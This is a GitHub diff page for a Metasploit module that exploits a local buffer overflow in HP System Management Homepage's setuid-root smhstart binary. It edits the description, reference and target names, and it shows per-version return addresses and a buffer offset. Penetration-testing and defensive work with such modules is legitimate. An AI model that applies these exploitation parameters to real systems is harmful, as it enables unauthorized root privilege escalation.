File tree Expand file tree Collapse file tree 1 file changed +9
-7
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +9
-7
lines changed Original file line number Diff line number Diff line change @@ -23,12 +23,14 @@ def initialize(info={})
23
23
super ( update_info ( info , {
24
24
'Name' => 'HP System Management Homepage Local Privilege Escalation' ,
25
25
'Description' => %q{
26
- Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
26
+ Versions of HP System Management Homepage <= 7.1.2 include a setuid root
27
+ smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
28
+ env variable.
27
29
} ,
28
30
'License' => MSF_LICENSE ,
29
31
'Author' =>
30
32
[
31
- 'agix' #@agixid
33
+ 'agix' # @agixid # Vulnerability discovery and Metasploit module
32
34
] ,
33
35
'Platform' => [ 'linux' ] ,
34
36
'Arch' => [ ARCH_X86 ] ,
@@ -40,21 +42,21 @@ def initialize(info={})
40
42
} ,
41
43
'References' =>
42
44
[
43
- [ 'OSVDB' , '91812' ] #not exactly but there is none...
45
+ [ 'OSVDB' , '91990' ]
44
46
] ,
45
47
'Targets' =>
46
48
[
47
- [ 'Hpsmh 7.1.1' ,
49
+ [ 'HP System Management Homepage 7.1.1' ,
48
50
{
49
51
'Arch' => ARCH_X86 ,
50
- 'CallEsp' => 0x080c86eb , # call esp
52
+ 'CallEsp' => 0x080c86eb , # call esp
51
53
'Offset' => 58
52
54
}
53
55
] ,
54
- [ 'Hpsmh 7.1.2' ,
56
+ [ 'HP System Management Homepage 7.1.2' ,
55
57
{
56
58
'Arch' => ARCH_X86 ,
57
- 'CallEsp' => 0x080c8b9b , # call esp
59
+ 'CallEsp' => 0x080c8b9b , # call esp
58
60
'Offset' => 58
59
61
}
60
62
] ,
You can’t perform that action at this time.
0 commit comments